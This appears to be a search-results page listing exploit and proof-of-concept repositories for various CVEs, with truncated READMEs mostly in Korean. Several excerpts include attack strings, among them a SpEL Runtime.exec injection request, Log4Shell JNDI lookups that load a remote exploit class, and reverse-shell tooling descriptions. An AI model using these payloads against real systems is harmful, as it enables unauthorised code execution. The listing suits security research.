715197 matches found
cve-2022-22980
spring-data-mongodb-cve-2022-22980-exp 계륵 같은 취약점, 그냥 기록용. 1. redis 실행, 27017 포트 2. 프로젝트 실행, springboot는 6666 포트에서 실행 3. GET /v1/user/get?username=Tjava.lang.Runtime.getRuntime.exec'open+-a+calculator.app' HTTP/1.1 Host: localhost:6666 Accept-Encoding: gzip, deflate Accept: / Accept-Language:...
CVE-2017-1000117
CVE-2017-1000117 사용법 $ git clone --recursive https://github.com/ieee0824/CVE-2017-1000117.git git에 문제가 있을 때, ifconfig가 실행됩니다...
CVE-2025-60787
CVE-2025-60787 - motionEye에서 인증된 RCE PoC for CVE-2025-60787는 motionEye의 인증된 RCE 취약점으로, 영향을 받는 모든 버전0.43.1b4 포함에서 동작합니다. 이것은 이 저장소에 설명된 취약점에 대한 자동화된 PoC입니다. prabhatverma47님에게 감사드립니다. 사용법 이 스크립트에는 취약점을 악용하는 2개의 명령어가 있습니다. revshell이라는 리버스 셸을 직접 보내는 명령어와, 이 CVE를 악용하여 명령어를 직접 실행하는 command라는 명령어가 있습니다....
penelope
Penelope is a modern shell handler for penetration testers and CTF players. It provides a more capable alternative to basic netcat listeners, adding automatic PTY upgrades, session management, logging, file transfers and helper modules. Table of Contents 📥 Installation ⚙️ Features 🖥️ Session...
cve-2021-20837-poc
cve-2021-20837-poc CVE-2021-20837에 대한 PoC: MovableType의 RCE 이 취약점은 The.Criminal.One의 협력으로 발견되었습니다. 이 PoC는 그에 의해 개발되었습니다. 블로그 포스트: https://nemesis.sh/posts/movable-type-0day/...
CVE-2022-22733
CVE-2022-22733 CVE-2022-22733은 Apache ShardingSphere ElasticJob-UI 3.0.0 및 그 이하 버전에 영향을 미치는 취약점으로, 권한 상승으로 이어집니다. 하지만 상승된 권한을 악용하여 JDBC 공격을 수행하고 RCE를 달성할 수 있습니다. 취약점 분석은 여기에서, 익스플로잇 작성 단계별 블로그는 여기에서 확인할 수 있습니다. 익스플로잇은 다음과 같이 작동합니다: 낮은 권한의 계정으로 로그인합니다. 안전하지 않게 생성된 accessToken을 획득합니다. 안전하지 않게 생성된...
powerglot
Powerglot Powerglot는 폴리글롯을 사용하여 여러 종류의 스크립트예: 공격용 PowerShell 스크립트를 인코딩합니다. 페이로드를 실행하기 위해 로더가 필요하지 않습니다. 레드팀 연습이나 공격 작업에서 페이로드 은닉은 일반적으로 스테가노그래피를 사용하여 수행되며, 특히 네트워크 수준 보호를 우회하기 위해 사용됩니다. 가장 일반적인 페이로드 중 하나는 PowerShell로 개발된 스크립트입니다. 최근의 맬웨어 및 APT는 이러한 기능 중 일부를 활용합니다: APT32, APT37, Ursnif, Powload,...
text4shell-docker
Maven 설치 - maven-linux 1. fat jar 생성을 위한 Maven 설치 mvn clean install 2. Docker 빌드 docker build --tag=text4shell . 3. Docker 실행 docker run -p 80:8080 text4shell 4. 앱 테스트 http://localhost/text4shell/attack?search= 5. 공격은 앞서 언급한 조회의 접두사인 문자열 “$prefix:name”를 전달하여 수행할 수 있습니다:...
CVE-2025-49113
CVE-2025-49113 – Roundcube 원격 코드 실행 RCE PoC 이 저장소는 Roundcube Webmail 1.5.10 및 1.6.11 이전 버전의 치명적인 원격 코드 실행 취약점인 CVE-2025-49113 에 대한 개념 증명PoC 익스플로잇을 포함하고 있습니다. 이 취약점은 upload.php 스크립트에서 안전하지 않은 PHP 객체 역직렬화로 인해 발생하며, 인증된 사용자가 서버에서 임의의 코드를 실행할 수 있도록 합니다. ⚠️ 면책 조항: 이 PoC는 교육 목적으로만 제공됩니다. 소유하지 않거나 테스트에 대...
CVE-2022-24112
CVE-2022-24112 CVE-2022-24112: Apache APISIX apisix/batch-requests RCE nuclei 템플릿: CVE-2022-24112.yaml 이 취약점의 본질적인 악용 방식은 CVE-2021-45232와 유사하며, 둘 다 권한 검증을 우회하거나 인증 없이 악성 route의 filterfunc 또는 script를 실행하여 명령을 실행합니다. 참고 사항 X-Real-IP의 값은 127.0.0.1, localhost 또는 2130706433이 될 수 있습니다. pipeline은 필수 항목이...
Elementor-3.18.0-Upload-Path-Traversal-RCE-CVE-2023-48777
이 저장소에는 README가 없습니다...
react2shell
React2Shell - CVE-2025-55182 익스플로잇 PoC CVE-2025-55182에 대한 개념 증명 익스플로잇입니다. React Server Components를 사용하는 Next.js 애플리케이션의 치명적인 원격 코드 실행 취약점입니다. ⚠️ 면책 조항 이 도구는 교육 및 승인된 보안 테스트 목적으로만 사용됩니다. ❌ 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 사용하지 마십시오. ❌ 컴퓨터 시스템에 대한 무단 접근은 불법입니다. ✅ 통제된 환경에서 학습 및 승인된 침투 테스트 용도로만 사용하십시오...
CVE-2026-23744-PoC
설명 MCPJam inspector는 MCP 서버를 위한 로컬 우선local-first 개발 플랫폼입니다. 1.4.2 및 이전 버전은 원격 코드 실행RCE 취약점에 취약하며, 이를 통해 공격자는 조작된 HTTP 요청을 보내 MCP 서버 설치를 트리거하여 RCE로 이어지게 할 수 있습니다. MCPJam inspector는 기본적으로 127.0.0.1 대신 0.0.0.0에서 수신 대기하므로, 공격자는 간단한 HTTP 요청을 통해 원격으로 RCE를 트리거할 수 있습니다. 1.4.3 버전에는 패치가 포함되어 있습니다. 영향을 받는 버...
ATutor-Instructor-Backup-Arbitrary-File
ATutor-강사-백업-익스플로잇 익스플로잇 제목: ATutor 2.2.4 'Backup' 원격 명령 실행 CVE-2019-12170 Google Dork: inurl:/ATutor/login.php 날짜: 5/13/2019 익스플로잇 작성자: liquidsky Joseph McPeters 공급업체 홈페이지: https://atutor.github.io/ 소프트웨어 링크: https://sourceforge.net/projects/atutor/files/latest/download 버전: 2.2.4 버전 2.2.4 및 이전 버...
CVE-2023-27372-POC
CVE-2023-27372-POC 개요 이 코드는 대상 웹사이트에 CVE-2023-27372 취약점이 존재하는지 탐지하는 Python POCProof of Concept입니다. 단일 URL 또는 여러 URL이 포함된 텍스트 파일을 제공하여 이 코드를 실행할 수 있습니다. 영향 버전: SPIP "; 기능 대상 웹사이트에 CVE-2023-27372 취약점이 있는지 확인합니다. 단일 URL 및 여러 URL이 포함된 텍스트 파일을 지원합니다. 사용 방법 1. 필요한 Python 버전이 설치되어 있는지 확인합니다. 2. 필요한 종속...
CVE-2020-36603
CVE-2020-36603 HoYoVerse 구 miHoYo Genshin Impact mhyprot2.sys 1.0.0.0 안티치트 드라이버는 권한이 없는 함수 호출을 충분히 제한하지 않아, Microsoft Windows 시스템에서 로컬의 권한 없는 사용자가 SYSTEM 권한으로 임의 코드를 실행할 수 있게 합니다. mhyprot2.sys 드라이버는 먼저 관리자 권한을 가진 사용자에 의해 설치되어야 합니다. 인증| 복잡성| 벡터 ---|---|--- 사용 불가| 사용 불가| 사용 불가 기밀성| 무결성| 가용성...
CVE-2026-42945_NginxRift
🚀 NGINX Rift PoC Automation — CVE-2026-42945 nginx-rift コンテナのRCEエクスプロイト用 PoC Automation Driver · ターゲット検証 → シングルコマンドエクスプロイト → 対話型リバースシェル 1つのコマンドが、コンテナ確認からシェル取得までのエクスプロイト全体の流れをオーケストレーションします。 ⚠️ 倫理的・法的警告 このツールは正当かつ許可を得たセキュリティテスト専用 です —...
CVE-2021-44228-Demo
CVE-2021-44228-Demo CVE-2021-44228을 활용하여 RMI와 LDAP 두 가지 방식으로 코드를 원격 주입하는 예제입니다. Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer와 LdapServer 실행은 Python3에 의존합니...
CVE-2019-19919
CVE-2019-19919 Handlebars 부적절한 특수 요소 중화 – 다운스트림 구성 요소가 사용하는 출력에서의 인젝션 취약점 pip install requests packaging python handlebarsscanner.py pip install requests python handlebarsexploit.py 대상 URL 입력: Exploit 예상 출력 : 대상 URL 입력 예를 들어, http://example.com/render: http://example.com/render 실행할 OS 명령어 입력: ls ...